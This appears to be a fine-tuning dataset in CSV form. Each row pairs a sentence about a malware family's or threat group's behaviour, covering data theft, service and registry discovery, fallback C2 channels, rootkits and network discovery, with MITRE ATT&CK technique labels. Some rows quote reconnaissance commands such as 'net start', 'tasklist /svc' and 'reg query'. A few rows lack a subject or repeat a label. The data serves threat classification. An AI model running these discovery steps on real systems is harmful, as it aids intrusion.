Linfo creates a backdoor through which remote attackers can obtain data from local systems.,['T1005 - Data from Local System'],fine_tune
MCMD has the ability to upload files from an infected device.,['T1005 - Data from Local System'],fine_tune
MacMa can collect then exfiltrate files from the compromised system.,['T1005 - Data from Local System'],fine_tune
Machete searches the File system for files of interest.,['T1005 - Data from Local System'],fine_tune
Magic Hound has used a web shell to exfiltrate a ZIP file containing a dump of LSASS memory on a compromised machine.,['T1005 - Data from Local System'],fine_tune
Milan can upload files from a compromised host.,['T1005 - Data from Local System'],fine_tune
Misdat has collected files and data from a compromised host.,['T1005 - Data from Local System'],fine_tune
Nebulae has the capability to upload collected files to C2.,['T1005 - Data from Local System'],fine_tune
Neoichor can upload files from a victim's machine.,['T1005 - Data from Local System'],fine_tune
Operation Wocao has exfiltrated files and directories of interest from the targeted system.,['T1005 - Data from Local System'],fine_tune
Out1 can copy files and Registry data from compromised hosts.,['T1005 - Data from Local System'],fine_tune
P.A.S. Webshell has the ability to copy files on a compromised host.,['T1005 - Data from Local System'],fine_tune
PUNCHTRACK scrapes memory for properly formatted payment card data.,['T1005 - Data from Local System'],fine_tune
Patchwork collected and exfiltrated files from the infected system.,['T1005 - Data from Local System'],fine_tune
Pillowmint has collected credit card data using native API functions.,['T1005 - Data from Local System'],fine_tune
PingPull can collect data from a compromised host.,['T1005 - Data from Local System'],fine_tune
PoisonIvy creates a backdoor through which remote attackers can steal system information.,['T1005 - Data from Local System'],fine_tune
"PowerLess has the ability to exfiltrate data, including Chrome and Edge browser database files, from compromised machines.",['T1005 - Data from Local System'],fine_tune
"PowerSploit contains a collection of Exfiltration modules that can access data from local files, volumes, and processes.",['T1005 - Data from Local System'],fine_tune
Proxysvc searches the local system and gathers data.,['T1005 - Data from Local System'],fine_tune
QuietSieve can collect files from a compromised host.,['T1005 - Data from Local System'],fine_tune
RainyDay can use a file exfiltration tool to collect recently changed files on a compromised host.,['T1005 - Data from Local System'],fine_tune
"Ramsay can collect Microsoft Word documents from the target's file system, as well as "".txt"", "".doc"", and "".xls"" files from the Internet Explorer cache.",['T1005 - Data from Local System'],fine_tune
"RawPOS dumps memory from specific processes on a victim system, parses the dumped files, and scrapes them for credit card data.",['T1005 - Data from Local System'],fine_tune
SDBbot has the ability to access the file system on a compromised host.,['T1005 - Data from Local System'],fine_tune
SLOTHFULMEDIA has uploaded files and information from victim machines.,['T1005 - Data from Local System'],fine_tune
STARWHALE can collect data from an infected local host.,['T1005 - Data from Local System'],fine_tune
SUNBURST collected information from a compromised host.,['T1005 - Data from Local System'],fine_tune
Saint Bot can collect files and information from a compromised host.,['T1005 - Data from Local System'],fine_tune
"Sandworm Team has exfiltrated internal documents, files, and other data from compromised hosts.",['T1005 - Data from Local System'],fine_tune
Shark can upload files to its C2.,['T1005 - Data from Local System'],fine_tune
ShimRat has the capability to upload collected files to a C2.,['T1005 - Data from Local System'],fine_tune
SideTwist has the ability to upload files from a compromised host.,['T1005 - Data from Local System'],fine_tune
SombRAT has collected data and files from a compromised host.,['T1005 - Data from Local System'],fine_tune
Stealth Falcon malware gathers data from the local victim system.,['T1005 - Data from Local System'],fine_tune
StrifeWater can collect data from a compromised host.,['T1005 - Data from Local System'],fine_tune
Taidoor can upload data and files from a victim's machine.,['T1005 - Data from Local System'],fine_tune
TajMahal has the ability to steal documents from the local system including the print spooler queue.,['T1005 - Data from Local System'],fine_tune
Threat Group-3390 ran a command to compile an archive of file types of interest from the victim user's directories.,"['T1005 - Data from Local System', 'T1119 - Automated Collection']",fine_tune
Tomiris has the ability to collect recent files matching a hardcoded list of extensions prior to exfiltration.,['T1005 - Data from Local System'],fine_tune
"Ursnif has collected files from victim machines, including certificates and cookies.",['T1005 - Data from Local System'],fine_tune
WellMail can exfiltrate files from the victim machine.,['T1005 - Data from Local System'],fine_tune
WellMess can send files from the victim machine to C2.,['T1005 - Data from Local System'],fine_tune
Windigo has used a script to gather credentials in files left on disk by OpenSSH backdoors.,['T1005 - Data from Local System'],fine_tune
"XCSSET collects contacts and application data from files in Desktop, Documents, Downloads, Dropbox, and WeChat folders.",['T1005 - Data from Local System'],fine_tune
Zox has the ability to upload files from a targeted system.,['T1005 - Data from Local System'],fine_tune
ZxShell can transfer files from a compromised host.,['T1005 - Data from Local System'],fine_tune
ZxxZ can collect data from a compromised host.,['T1005 - Data from Local System'],fine_tune
ccf32 can collect files from a compromised host.,['T1005 - Data from Local System'],fine_tune
creates a backdoor through which remote attackers can steal system information.,"['T1005 - Data from Local System', 'T1005 - Data from Local System']",fine_tune
esentutl can be used to collect data from local file systems.,['T1005 - Data from Local System'],fine_tune
menuPass has collected various files from the compromised computers.,['T1005 - Data from Local System'],fine_tune
njRAT can collect data from a local system.,['T1005 - Data from Local System'],fine_tune
xCaon has uploaded files from victims' machines.,['T1005 - Data from Local System'],fine_tune
"yty collects files with the following extensions: .ppt, .pptx, .pdf, .doc, .docx, .xls, .xlsx, .docm, .rtf, .inp, .xlsm, .csv, .odt, .pps, .vcf and sends them back to the C2 server.",['T1005 - Data from Local System'],fine_tune
"After compromising a victim, Poseidon Group discovers all running services.",['T1007 - System Service Discovery'],fine_tune
Aquatic Panda has attempted to discover services for third party EDR products.,['T1007 - System Service Discovery'],fine_tune
BBSRAT can query service configuration information.,['T1007 - System Service Discovery'],fine_tune
BRONZE BUTLER has used TROJ_GETVERSION to discover system services.,['T1007 - System Service Discovery'],fine_tune
Babuk can enumerate all services running on a compromised host.,['T1007 - System Service Discovery'],fine_tune
BitPaymer can enumerate existing Windows services on the host that are configured to run as LocalSystem.,['T1007 - System Service Discovery'],fine_tune
Caterpillar WebShell can obtain a list of the services from a system.,['T1007 - System Service Discovery'],fine_tune
"Chimera has used ""net start"" and ""net use"" for system service discovery.",['T1007 - System Service Discovery'],fine_tune
Cobalt Strike can enumerate services on compromised hosts.,['T1007 - System Service Discovery'],fine_tune
"Comnie runs the command: ""net start >> %TEMP%\info.dat"" on a victim.",['T1007 - System Service Discovery'],fine_tune
"Cuba can query service status using ""QueryServiceStatusEx"" function.",['T1007 - System Service Discovery'],fine_tune
"During Operation CuckooBees, the threat actors used the `net start` command as part of their initial reconnaissance.",['T1007 - System Service Discovery'],fine_tune
"During Operation Wocao, threat actors used the `tasklist` command to search for one of its backdoors.",['T1007 - System Service Discovery'],fine_tune
Earth Lusca has used Tasklist to obtain information from a compromised host.,"['T1007 - System Service Discovery', 'T1057 - Process Discovery']",fine_tune
"Emissary has the capability to execute the command ""net start"" to interact with services.",['T1007 - System Service Discovery'],fine_tune
GravityRAT has a feature to list the available services on the system.,['T1007 - System Service Discovery'],fine_tune
GreyEnergy enumerates all Windows services.,['T1007 - System Service Discovery'],fine_tune
Heyoka Backdoor can check if it is running as a service on a compromised host.,['T1007 - System Service Discovery'],fine_tune
HotCroissant has the ability to retrieve a list of services on the infected host.,['T1007 - System Service Discovery'],fine_tune
Hydraq creates a backdoor through which remote attackers can monitor services.,['T1007 - System Service Discovery'],fine_tune
JPIN can list running services.,['T1007 - System Service Discovery'],fine_tune
"Ke3chang performs service discovery using ""net start"" commands.",['T1007 - System Service Discovery'],fine_tune
Kimsuky has used an instrumentor script to gather the names of all services running on a victim's system.,['T1007 - System Service Discovery'],fine_tune
"Kwampirs collects a list of running services with the command ""tasklist /svc"".",['T1007 - System Service Discovery'],fine_tune
LookBack can enumerate services on the victim machine.,['T1007 - System Service Discovery'],fine_tune
"OilRig has used ""sc query"" on a victim to gather information about services.",['T1007 - System Service Discovery'],fine_tune
"Operation Wocao has used the ""tasklist"" command to search for one of its backdoors.",['T1007 - System Service Discovery'],fine_tune
"RATANKBA uses ""tasklist /svc"" to display running tasks.",['T1007 - System Service Discovery'],fine_tune
REvil can enumerate active services.,['T1007 - System Service Discovery'],fine_tune
SILENTTRINITY can search for modifiable services that could be used for privilege escalation.,['T1007 - System Service Discovery'],fine_tune
SLOTHFULMEDIA has the capability to enumerate services.,['T1007 - System Service Discovery'],fine_tune
SynAck enumerates all running services.,['T1007 - System Service Discovery'],fine_tune
"The ""net start"" command can be used in Net to find information about Windows services.",['T1007 - System Service Discovery'],fine_tune
TrickBot collects a list of install programs and services on the system’s machine.,['T1007 - System Service Discovery'],fine_tune
"Turla surveys a system upon check-in to discover running services and associated processes using the ""tasklist /svc"" command.",['T1007 - System Service Discovery'],fine_tune
Ursnif has gathered information about running services.,['T1007 - System Service Discovery'],fine_tune
Volgmer queries the system to identify existing services.,['T1007 - System Service Discovery'],fine_tune
WINERACK can enumerate services.,['T1007 - System Service Discovery'],fine_tune
ZLib has the ability to discover and manipulate Windows services.,['T1007 - System Service Discovery'],fine_tune
ZxShell can check the services on the system.,['T1007 - System Service Discovery'],fine_tune
"admin@338 actors used the following command following exploitation of a machine with LOWBALL malware to obtain information about services: ""net start >> %temp%\download""",['T1007 - System Service Discovery'],fine_tune
jRAT can list local services.,['T1007 - System Service Discovery'],fine_tune
APT41 used the Steam community page as a fallback mechanism for C2.,['T1008 - Fallback Channels'],fine_tune
Anchor can use secondary C2 servers for communication after establishing connectivity and relaying victim information to primary C2 servers.,['T1008 - Fallback Channels'],fine_tune
AppleSeed can use a second channel for C2 when the primary channel is in upload mode.,['T1008 - Fallback Channels'],fine_tune
BISCUIT malware contains a secondary fallback command and control server that is contacted after the primary command and control server.,['T1008 - Fallback Channels'],fine_tune
BlackEnergy has the capability to communicate over a backup channel via plus.google.com.,['T1008 - Fallback Channels'],fine_tune
Bumblebee can use backup C2 servers if the primary server fails.,['T1008 - Fallback Channels'],fine_tune
CHOPSTICK can switch to a new C2 channel if the current one is broken.,['T1008 - Fallback Channels'],fine_tune
Carbanak’s Harpy backdoor malware can use DNS as a backup channel for C2 if HTTP fails.,['T1008 - Fallback Channels'],fine_tune
Cardinal RAT can communicate over multiple C2 host and port combinations.,['T1008 - Fallback Channels'],fine_tune
CharmPower can change its C2 channel once every 360 loops by retrieving a new domain from the actors’ S3 bucket.,['T1008 - Fallback Channels'],fine_tune
Crutch has used a hardcoded GitHub repository as a fallback channel.,['T1008 - Fallback Channels'],fine_tune
"During Night Dragon, threat actors used company extranet servers as secondary C2 servers.",['T1008 - Fallback Channels'],fine_tune
"DustySky has two hard-coded domains for C2 servers; if the first does not respond, it will try the second.",['T1008 - Fallback Channels'],fine_tune
Ebury has implemented a fallback mechanism to begin using a DGA when the attacker hasn't connected to the infected system for three days.,['T1008 - Fallback Channels'],fine_tune
Exaramel for Linux can attempt to find a new C2 server if it receives an error.,['T1008 - Fallback Channels'],fine_tune
FatDuke has used several C2 servers per targeted organization.,['T1008 - Fallback Channels'],fine_tune
Gelsemium can use multiple domains and protocols in C2.,['T1008 - Fallback Channels'],fine_tune
HOPLIGHT has multiple C2 channels in place in case one fails.,['T1008 - Fallback Channels'],fine_tune
InvisiMole has been configured with several servers available for alternate C2 communications.,['T1008 - Fallback Channels'],fine_tune
Kazuar can accept multiple URLs for C2 servers.,['T1008 - Fallback Channels'],fine_tune
Kevin can assign hard-coded fallback domains for C2.,['T1008 - Fallback Channels'],fine_tune
Kwampirs uses a large list of C2 servers that it cycles through until a successful connection is established.,['T1008 - Fallback Channels'],fine_tune
Linfo creates a backdoor through which remote attackers can change C2 servers.,['T1008 - Fallback Channels'],fine_tune
"Machete has sent data over HTTP if FTP failed, and has also used a fallback server.",['T1008 - Fallback Channels'],fine_tune
MiniDuke uses Google Search to identify C2 servers if its primary C2 method via Twitter is not working.,['T1008 - Fallback Channels'],fine_tune
"Mis-Type first attempts to use a Base64-encoded network protocol over a raw TCP socket for C2, and if that method fails, falls back to a secondary HTTP-based protocol to communicate to an alternate C2 server.",['T1008 - Fallback Channels'],fine_tune
"NETEAGLE will attempt to detect if the infected host is configured to a proxy. If so, NETEAGLE will send beacons via an HTTP POST request; otherwise it will send beacons via UDP/6000.",['T1008 - Fallback Channels'],fine_tune
PipeMon can switch to an alternate C2 domain when a particular date has been reached.,['T1008 - Fallback Channels'],fine_tune
"QUADAGENT uses multiple protocols (HTTPS, HTTP, DNS) for its C2 server as fallback channels if communication with one is unsuccessful.",['T1008 - Fallback Channels'],fine_tune
RDAT has used HTTP if DNS C2 communications were not functioning.,['T1008 - Fallback Channels'],fine_tune
RainyDay has the ability to switch between TCP and HTTP for C2 if one method is not working.,['T1008 - Fallback Channels'],fine_tune
"S-Type primarily uses port 80 for C2, but falls back to ports 443 or 8080 if initial communication fails.",['T1008 - Fallback Channels'],fine_tune
Shark can update its configuration to use a different C2 server.,['T1008 - Fallback Channels'],fine_tune
SideTwist has primarily used port 443 for C2 but can use port 80 as a fallback.,['T1008 - Fallback Channels'],fine_tune
SslMM has a hard-coded primary and backup C2 string.,['T1008 - Fallback Channels'],fine_tune
"TAINTEDSCRIBE can randomly pick one of five hard-coded IP addresses for C2 communication; if one of the IP fails, it will wait 60 seconds and then try another IP address.",['T1008 - Fallback Channels'],fine_tune
The C2 server used by XTunnel provides a port number to the victim to use as a fallback in case the connection closes on the currently used port.,['T1008 - Fallback Channels'],fine_tune
TinyTurla can go through a list of C2 server IPs and will try to register with each until one responds.,['T1008 - Fallback Channels'],fine_tune
TrickBot can use secondary C2 servers for communication after establishing connectivity and relaying victim information to primary C2 servers.,['T1008 - Fallback Channels'],fine_tune
Valak can communicate over multiple C2 hosts.,['T1008 - Fallback Channels'],fine_tune
Aria-body has the ability to identify the titles of running windows on a compromised host.,['T1010 - Application Window Discovery'],fine_tune
Attor can obtain application window titles and then determines which windows to perform Screen Capture on.,['T1010 - Application Window Discovery'],fine_tune
Cadelspy has the ability to identify open windows on the compromised host.,['T1010 - Application Window Discovery'],fine_tune
Catchamas obtains application windows titles and then determines which windows to perform Screen Capture on.,['T1010 - Application Window Discovery'],fine_tune
DarkWatchman reports window names along with keylogger information to provide application context.,['T1010 - Application Window Discovery'],fine_tune
Flagpro can check the name of the window displayed on the system.,['T1010 - Application Window Discovery'],fine_tune
FunnyDream has the ability to discover application windows via execution of `EnumWindows`.,['T1010 - Application Window Discovery'],fine_tune
Grandoreiro can identify installed security tools based on window names.,['T1010 - Application Window Discovery'],fine_tune
HotCroissant has the ability to list the names of all open windows on the infected host.,['T1010 - Application Window Discovery'],fine_tune
InvisiMole can enumerate windows and child windows on a compromised host.,['T1010 - Application Window Discovery'],fine_tune
Lazarus Group malware IndiaIndia obtains and sends to its C2 server the title of the window for each running process. The KilaAlfa keylogger also reports the title of the window in the foreground.,['T1010 - Application Window Discovery'],fine_tune
Metamorfo can enumerate all windows on the victim’s machine.,['T1010 - Application Window Discovery'],fine_tune
NETWIRE can discover and close windows on controlled systems.,['T1010 - Application Window Discovery'],fine_tune
NetTraveler reports window names along with keylogger information to provide application context.,['T1010 - Application Window Discovery'],fine_tune
PLEAD has the ability to list open windows on the compromised host.,['T1010 - Application Window Discovery'],fine_tune
PoisonIvy captures window titles.,['T1010 - Application Window Discovery'],fine_tune
PowerDuke has a command to get text of the current foreground window.,['T1010 - Application Window Discovery'],fine_tune
ROKRAT can use  the `GetForegroundWindow` and `GetWindowText` APIs to discover where the user is typing.,['T1010 - Application Window Discovery'],fine_tune
SOUNDBITE is capable of enumerating application windows.,['T1010 - Application Window Discovery'],fine_tune
The discovery modules used with Duqu can collect information on open windows.,['T1010 - Application Window Discovery'],fine_tune
Trojan.Karagany can monitor the titles of open windows to identify specific keywords.,['T1010 - Application Window Discovery'],fine_tune
WINERACK can enumerate active windows.,['T1010 - Application Window Discovery'],fine_tune
captures window titles.,"['T1010 - Application Window Discovery', 'T1010 - Application Window Discovery']",fine_tune
njRAT gathers information about opened windows during the initial infection.,['T1010 - Application Window Discovery'],fine_tune
A Threat Group-3390 tool can read and decrypt stored Registry values.,['T1012 - Query Registry'],fine_tune
"A variant of HOPLIGHT hooks lsass.exe, and lsass.exe then checks the Registry for the data value 'rdpproto' under the key ""SYSTEM\CurrentControlSet\Control\Lsa Name"".",['T1012 - Query Registry'],fine_tune
ADVSTORESHELL can enumerate registry keys.,['T1012 - Query Registry'],fine_tune
APT32's backdoor can query the Windows Registry to gather system information.,['T1012 - Query Registry'],fine_tune
APT39 has used various strains of malware to query the Registry.,['T1012 - Query Registry'],fine_tune
Attor has opened the registry and performed query searches.,['T1012 - Query Registry'],fine_tune
BACKSPACE is capable of enumerating and making modifications to an infected system's Registry.,['T1012 - Query Registry'],fine_tune
"BabyShark has executed the ""reg query"" command for ""HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default"".",['T1012 - Query Registry'],fine_tune
Bankshot searches for certain Registry keys to be configured before executing the payload.,['T1012 - Query Registry'],fine_tune
"Bazar can query ""Windows\CurrentVersion\Uninstall"" for installed applications.",['T1012 - Query Registry'],fine_tune
"BendyBear can query the host's Registry key at ""HKEY_CURRENT_USER\Console\QuickEdit"" to retrieve data.",['T1012 - Query Registry'],fine_tune
Brave Prince gathers information about the Registry.,['T1012 - Query Registry'],fine_tune
Bumblebee can check the Registry for specific keys.,['T1012 - Query Registry'],fine_tune
"CHOPSTICK provides access to the Windows Registry, which can be used to gather information.",['T1012 - Query Registry'],fine_tune
"Carbanak checks the Registry key ""HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings"" for proxy configurations information.",['T1012 - Query Registry'],fine_tune
"Carberp has searched the Image File Execution Options registry key for ""Debugger"" within every subkey.",['T1012 - Query Registry'],fine_tune
CharmPower has the ability to enumerate `Uninstall` registry values.,['T1012 - Query Registry'],fine_tune
"Clambling has the ability to enumerate Registry keys, including ""KEY_CURRENT_USER\Software\Bitcoin\Bitcoin-Qt\strDataDir"" to search for a bitcoin wallet.",['T1012 - Query Registry'],fine_tune
"Cobalt Strike can query ""HKEY_CURRENT_USER\Software\Microsoft\Office\<Excel Version>\Excel\Security\AccessVBOM\""  to determine if the security setting for restricting default programmatic access is enabled.",['T1012 - Query Registry'],fine_tune
"ComRAT can check the default browser by querying ""HKCR\http\shell\open\command"".",['T1012 - Query Registry'],fine_tune
Denis queries the Registry for keys and values.,['T1012 - Query Registry'],fine_tune
Dragonfly 2.0 queried the Registry to identify victim information.,['T1012 - Query Registry'],fine_tune
Dragonfly has queried the Registry to identify victim information.,['T1012 - Query Registry'],fine_tune
"Epic uses the ""rem reg query"" command to obtain values from Registry keys.",['T1012 - Query Registry'],fine_tune
FELIXROOT queries the Registry for specific keys for potential privilege escalation and proxy information. FELIXROOT has also used WMI to query the Windows Registry.,['T1012 - Query Registry'],fine_tune
"FatDuke can get user agent strings for the default browser from ""HKCU\Software\Classes\http\shell\open\command"".",['T1012 - Query Registry'],fine_tune
Gelsemium can open random files and Registry keys to obscure malware behavior from sandbox analysis.,['T1012 - Query Registry'],fine_tune
"Gold Dragon enumerates registry keys with the command ""regkeyenum"" and obtains information for the Registry key ""HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"".",['T1012 - Query Registry'],fine_tune
"Hydraq creates a backdoor through which remote attackers can retrieve system information, such as CPU speed, from Registry keys.",['T1012 - Query Registry'],fine_tune
"Industroyer has a data wiper component that enumerates keys in the Registry ""HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services"".",['T1012 - Query Registry'],fine_tune
"InvisiMole can enumerate Registry values, keys, and data.",['T1012 - Query Registry'],fine_tune
JPIN can enumerate Registry keys.,['T1012 - Query Registry'],fine_tune
Kimsuky has obtained specific Registry keys and values on a compromised host.,['T1012 - Query Registry'],fine_tune
"Lazarus Group malware IndiaIndia checks Registry keys within HKCU and HKLM to determine if certain applications are present, including SecureCRT, Terminal Services, RealVNC, TightVNC, UltraVNC, Radmin, mRemote, TeamViewer, FileZilla, pcAnyware, and Remote Desktop. Another Lazarus Group malware sample checks for the presence of the following Registry key:""HKEY_CURRENT_USER\Software\Bitcoin\Bitcoin-Qt"".",['T1012 - Query Registry'],fine_tune
"Lucifer can check for existing stratum cryptomining information in ""HKLM\Software\Microsoft\Windows\CurrentVersion\spreadCpuXmr – %stratum info%"".",['T1012 - Query Registry'],fine_tune
Milan can query `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid` to retrieve the machine GUID.,['T1012 - Query Registry'],fine_tune
"Mori can read data from the Registry including from `HKLM\Software\NFC\IPA` and
`HKLM\Software\NFC\`.",['T1012 - Query Registry'],fine_tune
OSInfo queries the registry to look for information about Terminal Services.,['T1012 - Query Registry'],fine_tune
"OilRig has used ""reg query “HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default”"" on a victim to query the Registry.",['T1012 - Query Registry'],fine_tune
Operation Wocao has queried the registry to detect recent PuTTY sessions.,['T1012 - Query Registry'],fine_tune
POWERSOURCE queries Registry keys in preparation for setting Run keys to achieve persistence.,['T1012 - Query Registry'],fine_tune
PcShare can search the registry files of a compromised host.,['T1012 - Query Registry'],fine_tune
"Pillowmint has used shellcode which reads code stored in the registry keys ""\REGISTRY\SOFTWARE\Microsoft\DRM"" using the native Windows API as well as read ""HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Tcpip\Parameters\Interfaces"" as part of its C2.",['T1012 - Query Registry'],fine_tune
"Proxysvc gathers product names from the Registry key: ""HKLM\Software\Microsoft\Windows NT\CurrentVersion ProductName"" and the processor description from the Registry key ""HKLM\HARDWARE\DESCRIPTION\System\CentralProcessor\0 ProcessorNameString"".",['T1012 - Query Registry'],fine_tune
"ROKRAT can access the ""HKLM\System\CurrentControlSet\Services\mssmbios\Data\SMBiosData"" Registry key to obtain the System manufacturer value to identify the machine type.",['T1012 - Query Registry'],fine_tune
Reaver queries the Registry to determine the correct Startup path to use for persistence.,['T1012 - Query Registry'],fine_tune
Rising Sun has identified the OS product name from a compromised host by searching the registry for `SOFTWARE\MICROSOFT\Windows NT\ CurrentVersion | ProductName`.,['T1012 - Query Registry'],fine_tune
"SILENTTRINITY can use the `GetRegValue` function to check Registry keys within `HKCU\Software\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated` and `HKLM\Software\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated`. It also contains additional modules that can check software AutoRun values and use the Win32 namespace to get values from HKCU, HKLM, HKCR, and HKCC hives.",['T1012 - Query Registry'],fine_tune
Shark can query `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid` to retrieve the machine GUID.,['T1012 - Query Registry'],fine_tune
Sibot has queried the registry for proxy server information.,['T1012 - Query Registry'],fine_tune
Stealth Falcon malware attempts to determine the installed version of .NET by querying the Registry.,['T1012 - Query Registry'],fine_tune
StoneDrill has looked in the registry to find the default browser path.,['T1012 - Query Registry'],fine_tune
"TEARDROP checked that ""HKU\SOFTWARE\Microsoft\CTF"" existed before decoding its embedded payload.",['T1012 - Query Registry'],fine_tune
"Taidoor can query the Registry on compromised hosts using ""RegQueryValueExA"".",['T1012 - Query Registry'],fine_tune
TinyTurla can query the Registry for its configuration information.,['T1012 - Query Registry'],fine_tune
"Turla surveys a system upon check-in to discover information in the Windows Registry with the ""reg query"" command. Turla has also retrieved PowerShell payloads hidden in Registry keys as well as checking keys associated with null session named pipes .",['T1012 - Query Registry'],fine_tune
Valak can use the Registry for code updates and to collect credentials.,['T1012 - Query Registry'],fine_tune
Volgmer checks the system for certain Registry keys.,['T1012 - Query Registry'],fine_tune
WINDSHIELD can gather Registry values.,['T1012 - Query Registry'],fine_tune
"WastedLocker checks for specific registry keys related to the ""UCOMIEnumConnections"" and ""IActiveScriptParseProcedure32"" interfaces.",['T1012 - Query Registry'],fine_tune
"Waterbear can query the Registry key """"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSDTC\MTxOCI"""" to see if the value `OracleOcilib` exists.",['T1012 - Query Registry'],fine_tune
ZIRCONIUM has used a tool to query the Registry for proxy settings.,['T1012 - Query Registry'],fine_tune
Zeus Panda checks for the existence of a Registry key and if it contains certain values.,['T1012 - Query Registry'],fine_tune
ZxShell can query the netsvc group value data located in the svchost group Registry key.,['T1012 - Query Registry'],fine_tune
ZxxZ can search the registry of a compromised host.,['T1012 - Query Registry'],fine_tune
gh0st RAT has checked for the existence of a Service key to determine if it has already been installed on the system.,['T1012 - Query Registry'],fine_tune
njRAT can read specific registry values.,['T1012 - Query Registry'],fine_tune
APT28 has used a UEFI (Unified Extensible Firmware Interface) rootkit known as LoJax.,['T1014 - Rootkit'],fine_tune
APT41 deployed rootkits on Linux systems.,['T1014 - Rootkit'],fine_tune
Caterpillar WebShell has a module to use a rootkit on a system.,['T1014 - Rootkit'],fine_tune
"Drovorub has used a kernel module rootkit to hide processes, files, executables, and network artifacts from user space view.",['T1014 - Rootkit'],fine_tune
Ebury has used user mode rootkit techniques to remain hidden on the system.,['T1014 - Rootkit'],fine_tune
HIDEDRV is a rootkit that hides certain operating system artifacts.,['T1014 - Rootkit'],fine_tune
Hacking Team UEFI Rootkit is a UEFI BIOS rootkit developed by the company Hacking Team to persist remote access software on some targeted systems.,"['T1014 - Rootkit', 'T1542.001 - Pre-OS Boot: System Firmware']",fine_tune
HiddenWasp uses a rootkit to hook and implement functions on the system.,['T1014 - Rootkit'],fine_tune
LoJax is a UEFI BIOS rootkit deployed to persist remote access software on some targeted systems.,"['T1014 - Rootkit', 'T1542.001 - Pre-OS Boot: System Firmware']",fine_tune
PoisonIvy starts a rootkit from a malicious file dropped to disk.,['T1014 - Rootkit'],fine_tune
Ramsay has included a rootkit to evade defenses.,['T1014 - Rootkit'],fine_tune
Rocke has modified /etc/ld.so.preload to hook libc functions in order to hide the installed dropper and mining software in process lists.,"['T1014 - Rootkit', 'T1574.006 - Hijack Execution Flow: LD_PRELOAD']",fine_tune
Skidmap is a kernel-mode rootkit that has the ability to hook system calls to hide specific files and fake network and CPU-related statistics to make the CPU load of the infected machine always appear low.,['T1014 - Rootkit'],fine_tune
Stuxnet uses a Windows rootkit to mask its binaries and other relevant files.,['T1014 - Rootkit'],fine_tune
"Umbreon hides from defenders by hooking libc function calls, hiding artifacts that would reveal its presence, such as the user account it creates to provide access and undermining strace, a tool often used to identify malware.",['T1014 - Rootkit'],fine_tune
Uroburos is a rootkit used by Turla.,['T1014 - Rootkit'],fine_tune
"WarzoneRAT can include a rootkit to hide processes, files, and startup.",['T1014 - Rootkit'],fine_tune
Winnti Group used a rootkit to modify typical server functionality.,['T1014 - Rootkit'],fine_tune
"Winnti for Linux has used a modified copy of the open-source userland rootkit Azazel, named libxselinux.so, to hide the malware's operations and network activity.",['T1014 - Rootkit'],fine_tune
A JHUHUGIT variant gathers network interface card information.,['T1016 - System Network Configuration Discovery'],fine_tune
"A keylogging tool used by APT3 gathers network information from the victim, including the MAC address, IP address, WINS, DHCP server, and gateway.",['T1016 - System Network Configuration Discovery'],fine_tune
"APT1 used the ""ipconfig /all"" command to gather network configuration information.",['T1016 - System Network Configuration Discovery'],fine_tune
APT19 used an HTTP malware variant and a Port 22 malware variant to collect the MAC address and IP address from the victim’s machine.,['T1016 - System Network Configuration Discovery'],fine_tune
APT41 collected MAC addresses from victim machines.,['T1016 - System Network Configuration Discovery'],fine_tune
Action RAT has the ability to collect the MAC address of an infected host.,['T1016 - System Network Configuration Discovery'],fine_tune
AdFind can extract subnet information from Active Directory.,['T1016 - System Network Configuration Discovery'],fine_tune
Agent Tesla can collect the IP address of the victim machine and spawn instances of netsh.exe to enumerate wireless settings.,['T1016 - System Network Configuration Discovery'],fine_tune
"Agent.btz collects the network adapter’s IP and MAC address as well as IP addresses of the network adapter’s default gateway, primary/secondary WINS, DHCP, and DNS servers, and saves them into a log file.",['T1016 - System Network Configuration Discovery'],fine_tune
Amadey can identify the IP address of a victim machine.,['T1016 - System Network Configuration Discovery'],fine_tune
AppleSeed can identify the IP of a targeted system.,['T1016 - System Network Configuration Discovery'],fine_tune
Astaroth collects the external IP address from the system.,['T1016 - System Network Configuration Discovery'],fine_tune
Azorult can collect host IP information from the victim’s machine.,['T1016 - System Network Configuration Discovery'],fine_tune
BADCALL collects the network adapter information.,['T1016 - System Network Configuration Discovery'],fine_tune
BADFLICK has captured victim IP address details.,['T1016 - System Network Configuration Discovery'],fine_tune
BLINDINGCAN has collected the victim machine's local IP address information and MAC address.,['T1016 - System Network Configuration Discovery'],fine_tune
Backdoor.Oldrea collects information about the Internet adapter configuration.,['T1016 - System Network Configuration Discovery'],fine_tune
Bazar can collect the IP address and NetBIOS name of an infected machine.,['T1016 - System Network Configuration Discovery'],fine_tune
BlackEnergy has gathered information about network IP configurations using ipconfig.exe and about routing tables using route.exe.,['T1016 - System Network Configuration Discovery'],fine_tune
Bonadan can find the external IP address of the infected host.,['T1016 - System Network Configuration Discovery'],fine_tune
"BoxCaon can collect the victim's MAC address by using the ""GetAdaptersInfo"" API.",['T1016 - System Network Configuration Discovery'],fine_tune
"Calisto runs the ""ifconfig"" command to obtain the IP address from the victim’s machine.",['T1016 - System Network Configuration Discovery'],fine_tune
"Carbon can collect the IP address of the victims and other computers on the network using the commands: ""ipconfig -all"" ""nbtstat -n"", and ""nbtstat -s"".",['T1016 - System Network Configuration Discovery'],fine_tune
"Catchamas gathers the Mac address, IP address, and the network adapter information from the victim’s machine.",['T1016 - System Network Configuration Discovery'],fine_tune
Caterpillar WebShell can gather the IP address from the victim's machine using the IP config command.,['T1016 - System Network Configuration Discovery'],fine_tune
"CharmPower has the ability to use ""ipconfig"" to enumerate system network settings.",['T1016 - System Network Configuration Discovery'],fine_tune
"Chimera has used ipconfig, Ping, and ""tracert"" to enumerate the IP address and network environment and settings of the local host.",['T1016 - System Network Configuration Discovery'],fine_tune
Clambling can enumerate the IP address of a compromised machine.,['T1016 - System Network Configuration Discovery'],fine_tune
Cobalt Strike can determine the IP addresses of domain controllers.,['T1016 - System Network Configuration Discovery'],fine_tune
Cobalt Strike can determine the NetBios name and  the IP addresses of targets machines including domain controllers.,['T1016 - System Network Configuration Discovery'],fine_tune
